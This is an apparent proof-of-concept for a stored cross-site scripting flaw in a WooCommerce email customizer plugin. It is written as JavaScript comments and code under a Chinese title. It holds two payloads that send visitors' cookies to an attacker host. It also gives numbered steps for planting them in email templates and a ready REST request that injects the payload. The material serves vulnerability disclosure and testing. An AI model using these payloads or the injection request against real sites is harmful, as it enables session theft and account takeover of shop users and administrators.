CVE-2025-13974: Email Customizer for WooCommerce插件存储型XSS漏洞

// CVE-2025-13974 PoC - Email Customizer for WooCommerce Stored XSS // Requires administrator privileges // Malicious payload to be inserted in email template content: // <script>document.location='https://attacker.com/steal?cookie='+document.cookie</script> // Attack steps: // 1. Login to WordPress with administrator account // 2. Navigate to WooCommerce > Email Customizer // 3. Edit any email template (e.g., Order Confirmation) // 4. Insert the XSS payload in template content area // 5. Save the template // 6. When any user views the email or template preview, XSS triggers const payload = ` <img src=x onerror="document.location='https://attacker.com/steal?c='+document.cookie"> `; // Example WordPress REST API exploit (if authenticated as admin): const exploit = { method: 'POST', url: '/wp-json/wc/v1/settings/general-template', headers: { 'Content-Type': 'application/json', 'X-WP-Nonce': 'YOUR_NONCE', 'Cookie': 'wordpress_admin_cookie' }, body: JSON.stringify({ template_content: '<div>' + payload + '</div>', template_type: 'order_complete' }) }; console.log('CVE-2025-13974 - Stored XSS in Email Customizer for WooCommerce'); console.log('Target: WordPress with Email Customizer plugin <= 2.6.7'); console.log('Required: Administrator privileges');